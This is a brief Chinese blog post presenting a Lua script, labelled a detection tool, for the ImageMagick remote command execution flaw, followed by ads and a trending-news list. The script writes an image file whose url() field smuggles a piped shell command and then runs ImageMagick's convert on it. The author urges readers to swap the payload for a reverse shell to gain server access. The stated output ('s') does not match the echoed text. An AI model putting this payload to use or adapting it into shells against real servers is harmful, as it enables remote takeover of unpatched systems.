Sevck:ImageMagick远程命令执行工具检测工具
ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下
效果图:
用lua写了一个检测脚本
1 print ("Checking...")
2 file=io.open("exp.jpg","w")
3 --file:write("s")
4 file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n")
5 file:write("fill 'url(https://example.com/image.jpg")
6 file:write('"|echo "success!!!)')
7 file:write("'\r\n")
8 file:write("pop graphic-context")
9 file:close()
10 cmd=io.popen("convert exp.jpg test.png")
11 result=cmd:read("*all")
12 print(result)
如果存在返回
s
当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限
附上一篇分析文章:
http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平今年首访回眸 4906851
- 2 南通学生大巴事故一女孩离世 4976345
- 3 五月天假唱风波调查结果终于出了 4810686
- 4 这不就象征着中匈友谊友好的成长吗 4706945
- 5 南通车祸:直行信号灯因故障不亮 4687782
- 6 凡人微光|妈妈制造 4500402
- 7 南京有房即可办理落户 4407994
- 8 买5块雪花酥花681元 官方通报 4355330
- 9 湖北居民用电将分段计价?不实 4239964
- 10 刘谦首度回应春晚小尼牌没对上 4135064